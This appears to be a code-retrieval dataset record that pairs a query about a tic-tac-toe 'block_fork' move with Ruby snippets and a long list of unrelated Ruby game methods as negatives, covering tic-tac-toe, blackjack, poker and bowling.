4. block_fork : if opponent can create 2 win threats, play block_fork
|
def block_fork(board)
return fork(board, opponent_symbol(@symbol))
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def fork_check(wins, player, opponent)\n block_fork = find_fork(wins, opponent, player)\n get_fork = find_fork(wins, player, opponent)\n if get_fork.size > 0 # if possible to create fork, do it\n move = get_fork.sample\n elsif block_fork.size > 1 # if opponent can create multiple forks, force block\n move = get_adj(wins, player, opponent)\n elsif block_fork.size == 1 # otherwise if opponent can create fork, block it\n move = block_fork[0]\n else\n get_cen(player, opponent) # otherwise see if center is available\n end\n end",
"def block_fork(board)\n if board.cells[0] == opponent_token && board.cells[8] == opponent_token\n return 2\n end\n if board.cells[2] == opponent_token && board.cells[6] == opponent_token\n return 2\n end\n if board.cells[5] == opponent_token && board.cells[7] == opponent_token\n return 3\n end\n end",
"def block_check(wins, player, opponent)\n position = [] # placeholder for position that will block the opponent\n wins.each do |win| # check each win pattern\n difference = win - opponent # difference between current win array and opponent position array\n # if opponent 1 move from win, block position unless already player mark\n position.push(difference[0]) unless (player & difference).size == 1 if difference.size == 1\n end # .sample in case of multiple blocks, otherwise check for forks\n position.size > 0 ? position.sample : fork_check(wins, player, opponent)\n end",
"def block_fork\n forks = find_forks(@opponent_mark)\n if forks.length == 1\n forks.first\n elsif forks.length > 1\n # We look at the center to determine which case this is\n if @board.square(1,1) == @computer_mark\n side\n else\n corner\n end\n else\n nil\n end\n end",
"def block_check(wins, player, opponent)\n position = [] # placeholder for position that will block the opponent\n wins.each do |win| # check each win pattern\n difference = win - opponent # difference between current win array and opponent position array\n # if opponent 1 move from win, block position unless already player mark\n position.push(difference[0]) unless (player & difference).size == 1 if difference.size == 1\n end\n position.size > 0 ? position.sample : sel_rand(player, opponent) # .sample in case of multiple\n end",
"def win_actions\n @i.cls\n @i.show_balance(@user)\n @i.show_cards(@open, @user, @croupier)\n @i.winner_msg(@user, @croupier, @winner) if @winner == @user || @winner == @croupier\n @i.winner_msg(@user, @croupier, @draw) if @winner == @draw\n\n # balance\n @winner.balance += @bank if @winner == @user || @winner == @croupier\n if @winner == @draw\n @user.balance += 10\n @croupier.balance += 10\n end\n # play again\n if check_end\n @i.cls\n @winner = nil\n @bank = 0\n @open = false\n @loser = nil\n # start new game\n else\n # exit from the program\n @again = false\n end\n end",
"def ai_block_win(board)\n\t\tvalid_moves = [\"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\"]\n\t\tnew_hash = {} # Holds the winning combination positions the other player is occupying\n\t\tfinal_hash= {} # Holds the winning combination that need to be blocked on the next move\n\t\tmove = 0 # variable initialization\n\t\t# Define the positions taken on the board by the other player\n\t\t# Other player is not the current player\n\t\tplayer_positions(board)\n\t player_moves(board)\n\t\tif (@move_o == nil && @move_c == nil) || (@move_o.empty? && @move_c.empty?) # If there are no moves to be made for either player return nil\n\t\t\tmove = nil\n\t\telsif @move_o.empty? || @move_o == nil # if no other player block move then play current player move\n\t\t\t@move_c # Final single move to be made to make a winning move\n\t\telsif @move_c.empty? || @move_c == nil # if no current player win move then play other player block move\n\t\t\t@move_o # Final single move to be made to block other player's winning move\n\t\telse\n\t\t\t@move_c # Final single move to be made to make a winning move\n\t\tend\n\tend",
"def botTurn\n # check if we can win with one move or need to block\n if positions = winOrBlock?(currentPlayer) || positions = winOrBlock?( (currentPlayer == 'X')? 'O' : 'X')\n takeLastSpot(positions)\n \n # check if there is a chance for bot to create a fork, or block oponent from making fork \n elsif forks = possibleFork?(currentPlayer) || forks = possibleFork?((currentPlayer == 'X')? 'O' : 'X')\n \n \n if forks.size == 1\n # find the most common index and move there\n commonElement = forks.max_by {|i| forks.count(i)}\n move(commonElement, currentPlayer)\n else\n # more than one fork possible,\n # find optimal block point, move there\n move(blockPoint(forks), currentPlayer)\n end\n \n # take the center if its available\n elsif !position_taken?(4)\n move(4, currentPlayer)\n \n # take an opposite corner from the oponent. If not available, take any corner\n elsif corner = cornerMove\n move(corner, currentPlayer)\n \n # play in a middle square on any of the sides \n else\n SIDE_MIDDLE.each do |position|\n if !position_taken?(position)\n move(position, currentPlayer)\n break\n end\n end\n end\n puts \"#{(currentPlayer == 'X')? 'O': 'X'}'s move: \"\n displayBoard\n end",
"def winner\n puts \"██╗ ██╗██╗███╗ ██╗███╗ ██╗███████╗██████╗ \"\n sleep(1)\n puts \"██║ ██║██║████╗ ██║████╗ ██║██╔════╝██╔══██╗\"\n sleep(1)\n puts \"██║ █╗ ██║██║██╔██╗ ██║██╔██╗ ██║█████╗ ██████╔╝\"\n sleep(1)\n puts \"██║███╗██║██║██║╚██╗██║██║╚██╗██║██╔══╝ ██╔══██╗\"\n sleep(1)\n puts \"╚███╔███╔╝██║██║ ╚████║██║ ╚████║███████╗██║ ██║\"\n sleep(1)\n puts \" ╚══╝╚══╝ ╚═╝╚═╝ ╚═══╝╚═╝ ╚═══╝╚══════╝╚═╝ ╚═╝\"\n sleep(1)\n puts \" \"\n sleep(1)\n restart_game\nend",
"def player_action\n @players.each{ |p|\n linebreak('-')\n p.hands.each_with_index{ |hand, index|\n hit = true\n double = p.wallet >= hand.bet\n while hit\n splittable = hand.pair? && p.wallet >= hand.bet\n status(p)\n hit, split = player_decision(p, hand, index, double, splittable)\n double = false unless split\n linebreak\n end\n }\n }\n end",
"def block\n winning_move(@opponent_mark) \n end",
"def process\n finish_games\n level_up\n warn_level_up\n start_games\n end",
"def win?\n sleep(3)\n check_points\n end",
"def handle_winner(p1,p2)\n winner = winner?(p1,p2)\n if winner == p1\n give_cards_to_winner(p1, p2)\n p1.take_own_hand\n elsif winner == p2\n give_cards_to_winner(p2, p1)\n p2.take_own_hand\n end\n end",
"def deal_community_cards\n if @stage_of_play == 1\n puts 'The flop is now being being dealt.'\n sleep(1)\n deal_flop\n elsif @stage_of_play == 2\n puts 'The turn is now being being dealt.'\n sleep(1)\n deal_post_flop\n elsif @stage_of_play == 3\n puts 'The river is now being dealt.'\n sleep(1)\n deal_post_flop\n end\nend",
"def play_game\n\t\t\n\t\t2.times do \n\t\t\t\n\t\t\tputs to_s\n\t\t\t@players.each do |player|\n\n\t\t\t\tif player.is_fold\n\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tputs player.to_s\n\t\t\t\todds = @pokeroddsproxy.get_odds(player.get_cards, get_cards, @playernumber)\n\t\t\t\t#puts player.get_cards\n\t\t\t\tif player.get_user\n\t\t\t\t\tinput = get_input\n\t\t\t\t\tamount = 0\n\t\t\t\t\tif input == 1\n\t\t\t\t\t\tamount = 100 + @bet\n\t\t\t\t\telsif input == 2\n\t\t\t\t\t\tamount = @bet\n\t\t\t\t\telse\n\t\t\t\t\t\tamount = 0\n\t\t\t\t\t\tplayer.fold\n\t\t\t\t\tend\n\t\t\t\t\tplayer.removemoney(amount)\n\t\t\t\t\t@pot = @pot + amount \n\t\t\t\telse\n\t\t\t\t\tamount = player.set_move(odds, 200, 200)\n\t\t\t\t\tplayer.removemoney(amount)\n\t\t\t\t\t@pot = @pot + amount \n\t\t\t\tend\n\t\t\t\t#puts get_cards\n\t\t\t\tputs odds\n\t\t\t\tputs\n\t\t\tend\n\t\t\t\n\t\t\tputs \"pot: #{@pot}\"\n\n\t\t\t@board << @deck.deal\n\t\tend\n\n\t\tfind_winner\n\tend",
"def execute\n loop do\n transition_screen if @rounds > 1\n\n # Show the intro screen\n intro_screen\n\n @rounds += 1\n @credits -= ANTE\n @jackpot += JACKPOT_ANTE\n\n puts \"\\nAfter ante you have #{@credits.to_s.colorize(:green)} credits\"\n\n continue = begin\n draw_initial_cards\n rescue Rules::Bust::Joker\n puts \"House drew a Joker \"\n lose\n rescue Rules::Bust::Consecutive\n puts \"House drew consecutive cards #{@card1} & #{@card2} \"\n lose\n rescue Rules::Win::SameCards\n puts \"House drew #{@card1} and #{@card2} \"\n win_jackpot\n else\n true\n end\n\n next unless !!continue\n\n # Ask player if next card is between\n is_between_screen\n\n # Ask player for their wager\n wager = Wager.get(@credits, @jackpot)\n\n continue = begin\n draw_final_card\n rescue Rules::Win::Joker\n puts \"You drew a #{@card3}\"\n win wager\n else\n true\n end\n\n next unless !!continue\n\n # check the between rules\n if is_between?\n win wager\n else\n lose wager\n end\n end\n end",
"def play\n SHELL.confirm(\"Let's play some blackjack!\")\n loop do\n collect_bets\n give_initial_cards\n # ask if player would like to split here\n @players.each { |player| action_cycle(player, :player) }\n action_cycle(@dealer, :dealer)\n decide_scores\n break if done_playing?\n reset\n end\n end",
"def start_game\n @player_1_lives = 3\n @player_2_lives = 3\n while @player_1_lives > 0 && @player_2_lives > 0\n new_turn(1)\n break if @player_1_lives == 0\n new_turn(2)\n end\nend",
"def play\n until over?\n turn\n end\n\n if draw?\n puts \"Cat's Game!\"\n elsif WIN_COMBINATIONS.include?(won?)\n puts \"Congratulations #{winner}!\"\n end\nend",
"def play\n congrats = Proc.new { |player| puts \"Congratulations #{player}!\" }\n tie = Proc.new { puts \"Cat's Game!\" }\n \n until over?\n turn\n end\n\n congrats.call(winner) if won?\n tie.call if draw?\nend",
"def play\n until over? == true\n turn\n end\n if self.winner == nil\n puts \"Cats Game!\"\n else\n puts \"Congratulations #{self.winner}!\"\n #Congradulate the winner of the game, using the person with the most X or O combinations\n #Code in a play again option, so players don't have to re enter name\n board.display\n end\n end",
"def play()\n c=1\n p=\"X\"\n while !over?()\n turn()\n end\n if won?()\n puts \"Congratulations #{winner()}!\"\n elsif draw?()\n puts \"Cats Game!\"\n else\n end\nend",
"def play\nuntil over? do\n turn\n end\nif won?\n puts \"Congratulations #{winner}!\"\nelsif draw?\nputs \"Cats Game!\"\nend\nend",
"def run_game\n while @p1.score != @length && @p2.score != @length\n run_round\n end\n @winner = @p1 if @p1.score == @length\n @winner = @p2 if @p2.score == @length\n puts @winner.name + \" wins the game!\"\n puts \"Congratultions!\" if @winner.control == \"HUMAN\"\n @winner\n end",
"def beginBetting\r\n\tprintLine\r\n\tstartBetRound\r\n\tprintLine\r\n\tstartBetting\r\n\t@new_round = false\r\nend",
"def win_or_block(board) \n if reach?(board, self.token)\n reach?(board, self.token).find {|cell| !board.taken?(cell+1)}\n elsif reach?(board, self.opponent_token)\n reach?(board, self.opponent_token).find {|cell| !board.taken?(cell+1)}\n end\n end",
"def play\n display_welcome_message\n loop do \n human.choose #.choose is an instance method on the Player class, since human is an object of the Player class\n computer.choose\n display_winner\n break unless play_again? #could put play again loop here, but easier to not have double loop here\n end \n display_goodbye_message\n end",
"def computer_moves(winnable, ptoken, ctoken, spaces, board)\n skip_rule = \"\"\n if winnable == 'y'\n skip_rule = [0, 1, 2, 3, 5].sample # randomly chooses a rule to \"forget\"\n end\n system(\"cls\")\n puts \"Computer's move.\"\n # Test each set of conditions; until a move is found\n move = false\n\n # Win: If you have two in a row, play the third to get three in a row.\n # puts \"Trying 1\"\n move, length = are_there_two_computer_tokens_in_a_row(ctoken, spaces, board) unless skip_rule == 0\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Block: If the opponent has two in a row, play the third to block them.\n # puts \"Trying 2\"\n move, length = are_there_two_computer_tokens_in_a_row(ptoken, spaces, board) unless skip_rule == 1\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Fork: Create an opportunity where you can win in two ways.\n # puts \"Trying 3\"\n move = discover_fork(ctoken, spaces, board) unless skip_rule == 2\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Block Opponent's Fork: If there is a configuration where the opponent\n # can fork, block that fork.\n # It appears I can simply use discover_fork again, changing only ctoken\n # to ptoken!\n # puts \"Trying 4\"\n move = discover_fork(ptoken, spaces, board) unless skip_rule == 3\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Center: Play the center.\n # puts \"Trying 5\"\n # Note, no \"unless skip_rule == 4\" here. This is because if it's the opening\n # move, and this rule is skipped, then the computer won't play anything.\n if spaces[4] == \" \" # i.e., if the center is open, and you've made it this far\n spaces, board = add_move_to_spaces(4, ctoken, spaces, board)\n return spaces, board\n end\n\n # Opposite Corner: If the opponent is in the corner, play the opposite corner.\n # puts \"Trying 6\"\n if move\n move = try_opposite_corner(ptoken, spaces) unless skip_rule == 5\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Empty Corner: Play an empty corner.\n # puts \"Trying 7\"\n move = try_empty_corner(spaces)\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # Empty Side: Play an empty side.\n # puts \"Trying 8\"\n move = play_empty_side(spaces)\n if move\n spaces, board = add_move_to_spaces(move, ctoken, spaces, board)\n return spaces, board\n end\n\n # If move is still false, game is over!\n\n return spaces, board\nend",
"def play_round\n loop do\n self.board.display_board\n self.player1.turn_action\n if self.player1.winner? || self.board.board_full?\n break\n end\n self.player2.turn_action\n if self.player2.winner? || self.board.board_full?\n break\n end\n end\n self.board.display_board\n end",
"def play\n 2.times {deal}\n blind_score\n if player_hand.collect{|x| x.value}.inject(:+) == 21\n bjwin\n elsif computer_hand.collect{|x| x.value}.inject(:+) == 21\n bjlose\n else\n action\n end\n end",
"def spawned; end",
"def spawned; end",
"def play\n\t\tboard = Board.new # cree une instance de la class board\n\t\tfor i in 1..9 # fait une boucle qui vas de 1 a 9, quand on arrive a 9 ca veut dire que toutes les cases du tableau on ete remplis. \n\t\t\tboard.display_stat(@player_one.return_name, @player_two.return_name, @player_one.return_number_of_win, @player_two.return_number_of_win, @player_two.return_number_of_egality) # on appel la methode display stats qui vas servire a affichier les statistiques, nombre de parties, nom des joueurs, leur nombre de victoires...\n\t\t\tif @who_play == 1 # on cree une condition qui vas servire a afficher le nom du joueur qui doit jouer ce tours.\n\t\t\t\tputs \"A toi de jouer #{@player_one.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\telse\n\t\t\t\tputs \"A toi de jouer #{@player_two.return_name.colorize(:green)} !\\n\\n\\n\"\n\t\t\tend\n\t\t\tboard.display_board(@board_case) # on affiche le plateau du jeux\n\t\t\tselect_board_case # on appel la methode qui demande a l'utilisateur de choisire la case sur laquel il vas jouer\n\t\t\tif is_win == true # on fait une condition qui appel la methode is_win, cette methode verifi si il y a un cas de victoire\n\t\t\t\tboard.display_board(@board_case) # on affiche le plateau une derniere fois pour montrer la derniere modification\n\t\t\t\tif @who_play == 1 # on fait une condition qui verifie qui a gagner\n\t\t\t\t\tputs \"le joueur #{@player_one.return_name} a gagner cette partie!\" # si c'est le joueur 1 qui a gagner on dit qu'il a gagner, on affiche son nom\n\t\t\t\t\t@player_one.increments_number_of_win\t# on incremente du nombre de victoire \n\t\t\t\telse\n\t\t\t\t\tputs \"le joueur #{@player_two.return_name} a gagner cette partie!\"\n\t\t\t\t\t@player_two.increments_number_of_win\n\t\t\t\tend\n\t\t\t\tbreak # On quitte la boucle car il y a eu une victoire\n\t\t\tend\n\t\t\t@who_play == 1 ? @who_play = 2 : @who_play = 1 # cette ligne sert a faire que c'est a l'autre joueur de jouer (c'est une condition de type ternaire)\n\t\tend\n\t\tif is_win == false # si on sort de la boucle et qu'il n'y a aucune victoire alor c'est un match nul\n\t\t\t@player_one.increments_number_of_egality # on incremente la variable qui compte le nombres de matchs nuls\n\t\t\t@player_two.increments_number_of_egality\n\t\t\tputs \"MATCH NULLLLLLL\".colorize(:red) # on affiche que c'est un match nul\n\t\tend\n\tend",
"def simulation2\n\t\t(1..10).each do |f|\n\t\t\t@vPlayers.each {|player|\n\t\t\t\tloop{\n\t\t\t\t\tsystem('cls')\n\t\t\t\t\tputs \"BOWLING BBC\", \"\"\n\t\t\t\t\tplayer.score.roll(player.score.pins)\n\t\t\t\t\t\n\t\t\t\t\t# The turn of the player ends when the score of the current frame is calculated\n\t\t\t\t\tif player.score.frameNumber > f\n\t\t\t\t\t\t@vPlayers.each {|player|\n\t\t\t\t\t\t\tprint player.name + \"(\" + player.score.totalScore.to_s + \")\\n\" \n\t\t\t\t\t\t\tplayer.score.printScore\n\t\t\t\t\t\t\tputs \"\"\n\t\t\t\t\t\t}\n\t\t\t\t\t\t#sleep(0.1)\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\t}\n\t\t\t}\t\t\t\n\t\tend\t\n\tend",
"def win?\n if @player1.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player2.name} wins!\"\n sleep(1)\n elsif @player2.life == 0\n sleep(1)\n puts \"-- GAME OVER --\"\n sleep(1)\n puts \"#{@player1.name} wins!\"\n sleep(1)\n else\n turn\n end\n end",
"def start_game\n players = build_list_of_players\n team1 = select_players_for_gryffindor(players, [])\n team2 = select_players_for_slytherin(players, team1)\n puts \"team1 is #{team1.join(\", \")}\"\n puts \"team2 is #{team2.join(\", \")}\"\n puts\n team1_score = 0\n team2_score = 0\n scores = [ team1_score, team2_score ]\n puts \"brooms up!!\"\n 60.times do\n sleep 0.1 # this is new! write a comment, what does this line of code do?\n determine_who_scored(team1, team2, scores)\n puts \"another minute has gone by...\"\n end\n finalize_game(scores)\nend",
"def easy_win(player)\n win if player.points == 4 && player.opponent.points < 3\n end",
"def new_game\n @players = [@p1, @p2]\n\n round_gameplay\n until self.winner?\n next_round\n end\n\n end",
"def start_game_creator!\n\t\t$threads << @creator = Thread.new() do\n\t\t\tready_players = []\n\t\t\tspectators = []\n\t\t\twhile true\n\t\t\t\t# Check every connection in the waiting queue for a JOIN or SPECTATE\n\t\t\t\t@connections.each do |c|\n\t\t\t\t\tline = c.readline\n\t\t\t\t\tif line =~ /JOIN\\W+(\\w+)/i\t# A player is attempting to join the game, move them from waiting to READY\n\t\t\t\t\t\tputs \"JOIN: #{$1} joined a game\"\n\t\t\t\t\t\tready_players << {:connection => c, :user => $1.strip}\n\t\t\t\t\t\t@connections.delete c\n\t\t\t\t\telsif line =~ /SPECTATE/i\n\t\t\t\t\t\tputs \"Spectator joined\"\n\t\t\t\t\t\tspectators << c\t\t\t# A spectator is ready to watch the next game, move the, to SPECTATORS\n\t\t\t\t\t\t@connections.delete c\n\t\t\t\t\tend\n\t\t\t\t\tif ready_players.size > 1\t# If you have enough players to play\n\t\t\t\t\t\tputs \"Two players have requested a game, spawning new game for:\"\n\t\t\t\t\t\tp1 = ready_players.pop\t# Get the first two ready players\n\t\t\t\t\t\tp2 = ready_players.pop\n\t\t\t\t\t\tspecs = spectators.clone\n\t\t\t\t\t\tspectators = []\t\t\t# Assign all specs to the new game and clear the spec list out\n\t\t\t\t\t\tputs \"\\tHunter: #{p1[:user]}\\n\\tPrey: #{p2[:user]}\"\n\t\t\t\t\t\tnew_game = Evasion.new(p1[:connection], p1[:user], p2[:connection], p2[:user], specs)\n\t\t\t\t\t\t# @games << new_game\t# Leftover comments from multithreading with simultaneous games approach. Does not work well on energon.\n\t\t\t\t\t\t# $threads << Thread.new(new_game) do |game|\n\t\t\t\t\t\t# \tThread.current.priority = 10\t# Escalate the game's thread to always beat ACCEPTOR and CREATOR threads\n\t\t\t\t\t\t\t@results << new_game.play # @results << game.play\n\t\t\t\t\t\t# end\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def game_turn(game, player1, player2, board)\n 1.upto(5) do |game_turn|\n # Joueur 1\n break if player_turn(player1, board) == true\n # On check la fin du game\n if game.check_end_game(game_turn) == true\n p 'Egalité !'\n break\n end\n # Joueur2\n break if player_turn(player2, board) == true\n end\n p 'Le jeu est fini!'\nend",
"def split()\r\n if(@curplayer.nummoves > 0)\r\n return false\r\n end\r\n #check their 2 cards, if theyre the same, split cur players hand into a 2 dimensional array of hands.\r\n if(@curplayer.hand.cards[0].equals(@curplayer.hand.cards[1]))\r\n #two cards are the same\r\n #split is allowed\r\n splitplayer = Player.new(@curplayer.name, @curplayer.money)\r\n splitbet = @curplayer.curBet/2\r\n #split the bet in half and give it to the new player\r\n splitplayer.curBet = splitbet\r\n #subtract split bet from current bet\r\n @curplayer.curBet = @curplayer.curBet - splitbet\r\n #take one of the cards and give it to the new player\r\n splitplayer.hand.addCard(@curplayer.hand.cards.pop())\r\n #update the scores of both hands\r\n splitplayer.hand.updateScore()\r\n @curplayer.hand.updateScore()\r\n splitplayer.state = \"fine\"\r\n #set the parent pointer so that I can take any winnings and give it to them\r\n splitplayer.parent = @curplayer\r\n splitplayer.split = true\r\n @players.push(splitplayer)\r\n #set number of moves to 1 so that they cant split again/double down\r\n @curplayer.nummoves += 1\r\n splitplayer.nummoves +=1\r\n return splitplayer\r\n else\r\n return false\r\n end\r\n end",
"def play(seed, num_prospectors)\r\n \tintialize_group(seed, num_prospectors)\r\n \t@prospectors = spawn_prospectors(@num_prospectors)\r\n\titerate_all\r\n\texit 1\r\n end",
"def game_start_cm\n puts 'Computer is attempting to break your code!'\n i = 0\n while @winner == false\n print 'Computer guess '\n print i + 1\n print '. '\n print ' Guesses remaining: '\n print 30 - i\n puts ' '\n sleep 0.5\n computer_guess\n red_peg_check\n white_peg_check\n red_to_white_peg\n winner_check\n i += 1\n computer_game_over(i)\n end\n end",
"def action(type, amount, player)\n @player = Player.find(player.to_i)\n amount = amount.to_i\n case type\n when 'fold'\n @player.in_hand = false\n when 'bet'\n if amount > @player.money\n amount = @player.money\n end\n if amount + @player.in_pot_current < self.high_bet\n p 'invalid bet'\n else\n put_money(amount, @player)\n end\n when 'raise'\n # If player doesn't have enough money or trying to not raise enough and can't bet enough\n if amount > @player.money || (amount + @player.in_pot_current < 2*self.high_bet && 2*self.high_bet - @player.in_pot_current > @player.money)\n amount = @player.money\n elsif amount + @player.in_pot_current < self.high_bet\n amount = 2*self.high_bet - @player.in_pot_current\n else\n amount = amount + self.high_bet - @player.in_pot_current\n end\n put_money(amount, @player)\n when 'check'\n # do nothing; high better already set to be player after dealer inside of deal()\n when 'call'\n amount = self.high_bet - @player.in_pot_current\n put_money(amount, @player)\n else\n p 'invalid action'\n end\n self.current_player = self.get_next_player(@player.location) # Set next player to current\n\n @player.save\n self.save\n if self.high_better == self.current_player #progress round if you've gone back around to the high better\n # unless no one raises and it's back to big blind, bb should be able to go\n if self.high_bet <= self.big_blind && self.round == 0 && self.high_better == get_next_player(get_next_player(self.dealer))\n self.high_better = get_next_player(get_next_player(get_next_player(self.dealer)))\n else\n set_round((self.round + 1))\n deal(self.round)\n end\n end\n if self.players.where(:in_hand => true).length <= 1\n set_round(4)\n end\n\n @player.save\n self.save\n end",
"def player_win\n @player.won_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end",
"def play(board)\n count = 0\n while !over?(board)\n turn(board, current_player(board))\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n return\n elsif draw?(board)\n puts \"Cats Game!\"\n return\n end\n end\n if won?(board)\n puts \"Congratulations #{winner(board)}!\"\n return\n elsif draw?(board)\n puts \"Cats Game!\"\n return\n end\nend",
"def play\n turn until over?\n if won?\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def fork_possible?(player)\n fork_index = nil\n existing_indexes = game.board.cells.each_index.select{ |i| game.board.cells[i] == player.token}\n empty_indexes = $empty_positions.to_a.map!{|i| i - 1}\n empty_indexes.detect{|test_index|\n existing_indexes << test_index\n winning_indexes = two_in_a_row?(player)\n existing_indexes.pop\n if winning_indexes.count >= 2\n fork_index = test_index\n return true\n end\n }\n return fork_index\n end",
"def play\nturn until over?\nif won?\n puts \"Congratulations #{winner}!\"\nelsif draw? == true\n puts \"Game over! Thanks for playing.\"\nend\nend",
"def win_condition\nend",
"def play_as_master_first\r\n @pending_points = 0\r\n w_cards = []\r\n curr_points_me = @team_mates.inject(0){ |result, name_pl| result + @points_segno[name_pl] }\r\n @cards_on_hand.each do |card_lbl|\r\n card_s = card_lbl.to_s # something like '_Ab'\r\n segno = card_s[2,1] # character with index 2 and string len 1\r\n is_card_lbl_briscola = card_s[2] == @briscola.to_s[2] \r\n curr_w = 0\r\n curr_w += 70 if is_card_lbl_briscola\r\n # check if it is an asso or 3\r\n curr_w += 220 if card_s[1] == \"A\"[0]\r\n curr_w += 200 if card_s[1] == \"3\"[0] \r\n if card_s =~ /[24567]/\r\n # liscio value\r\n lisc_val = (card_s[1] - '0'[0]).to_i\r\n curr_w += 50 + lisc_val\r\n end\r\n curr_w += 60 if card_s[1] == \"F\"[0]\r\n # check horse and king cards\r\n if card_s[1] == \"C\"[0]\r\n if is_mariazz_possible?(segno)\r\n curr_w += 90 + 70\r\n else\r\n curr_w += 30\r\n end\r\n end \r\n if card_s[1] == \"R\"[0]\r\n if is_mariazz_possible?(segno)\r\n curr_w += 100 + 70\r\n else\r\n curr_w += 20\r\n end\r\n end\r\n # penalty for cards wich are not stroz free\r\n curr_w += 10 * @strozzi_on_suite[segno].size\r\n if (curr_points_me + @deck_info.get_card_info(card_lbl)[:points]) > @target_points\r\n curr_w -= (@deck_info.get_card_info(card_lbl)[:points] + 100)\r\n curr_w -= 200 if is_card_lbl_briscola\r\n curr_w -= 1000 if is_card_lbl_briscola and card_s[1] == \"A\"[0]\r\n end\r\n \r\n w_cards << [card_lbl, curr_w ] \r\n end\r\n # find a minimum\r\n #p w_cards\r\n min_list = w_cards.min{|a,b| a[1]<=>b[1]}\r\n @log.debug(\"Play as first: best card#{min_list[0]}, (w_cards = #{w_cards.inspect})\")\r\n return min_list[0]\r\n end",
"def play\n until over?\n turn\n end\n if winner\n puts \"Congratulations #{winner}!\"\n else\n puts \"Cats Game!\"\n end\n end",
"def game_flow_human_codemaker\n game_start_human_codemaker\n while continue?\n one_round_human_codemaker\n add_one_round\n end\n end_of_game_logic\n end",
"def play_for_trick \n if @player1.deal == true && @player2.deal == false && !@player1.hand.empty?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player1.lead_card\n @player1.remove_card_from_hand(leading_card)\n puts @player1.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player2.respond(leading_card)\n @player2.remove_card_from_hand(response_card)\n puts @player1.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player2.name + \" plays the \" + response_card.card_to_string\n \n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n if winning_card == leading_card \n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n else\n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n\n if @player1.deal == false && @player2.deal == true && !@player2.hand.empty?\n #start with the hand on each player\n response_hand = @player2.hand\n leading_card_hand = @player1.hand\n #find card of player who leads\n leading_card = @player2.lead_card\n @player2.remove_card_from_hand(leading_card)\n puts @player2.name + \" chooses the \" + leading_card.card_to_string\n #find card of player who responds\n response_card = @player1.respond(leading_card)\n @player1.remove_card_from_hand(response_card)\n puts @player2.name + \" plays the \" + leading_card.card_to_string + \" and \" +\n @player1.name + \" plays the \" + response_card.card_to_string\n\n #find winning card and then find out who that card belongs too\n winning_card = determine_winner(leading_card, response_card)\n\n if winning_card == leading_card \n @player2.deal = true\n @player1.deal = false\n @player2.score += 1\n else\n @player1.deal = true\n @player2.deal = false\n @player1.score += 1\n end\n #display players scores\n puts @player1.name + \"'s score is \" + @player1.score.to_s\n puts @player2.name + \"'s score is \" + @player2.score.to_s\n end\n end",
"def run\n play_round until game_over?\n puts \"#{winner} wins!\"\n end",
"def start_merger_turn(current_player, acquired_hotel)\n current_username = current_player.user.username\n current_num = 0\n self.game_players.each do |player|\n if player.user.username == current_username\n current_num = player.turn_order\n end\n end\n\n if current_num == self.game_players.length\n next_num = 1\n else\n next_num = current_num + 1\n end\n\n next_player = self.game_players.where(turn_order: next_num).first\n self.merger_up_next = next_player.user.username\n self.save\n\n # if merger up next equals up_next then have gone full circle and call end merger turn\n if next_player.user.username == self.up_next\n if self.second_acquired_hotel != 'none'\n self.acquired_hotel = self.second_acquired_hotel\n self.second_acquired_hotel = 'none'\n m_turn = true\n else\n m_turn = false\n end\n else\n m_turn = true\n end\n\n players_w_shares = []\n self.game_players.each do |player|\n if player.stock_cards.where(hotel: self.acquired_hotel).count != 0\n players_w_shares << player\n end\n end\n\n # next player has no shares in acquired chain\n if players_w_shares.include?(next_player)\n self.has_shares = next_player.stock_cards.where(hotel: self.acquired_hotel).count \n else\n self.has_shares = 0\n end\n\n self.save\n [m_turn, self.has_shares]\n end",
"def play\n until over? do\n turn\n end\n if draw?\n puts \"Cat's Game!\"\n else\n puts \"Congratulations #{winner}!\"\n end\nend",
"def runner\n players_hand = 0\n welcome \n players_hand = initial_round\n until players_hand > 21 do\n players_hand = hit?(players_hand)\n display_card_total(players_hand)\n end\n return end_game(players_hand)\nend",
"def play_the_game\n self.deal\n while player1.count && player2.count\n self.play_hand\n end\n\n p player1.packet\n p player2.packet\n\n end",
"def forkless(interspinous_interdevour, cladodontid_michel)\n end",
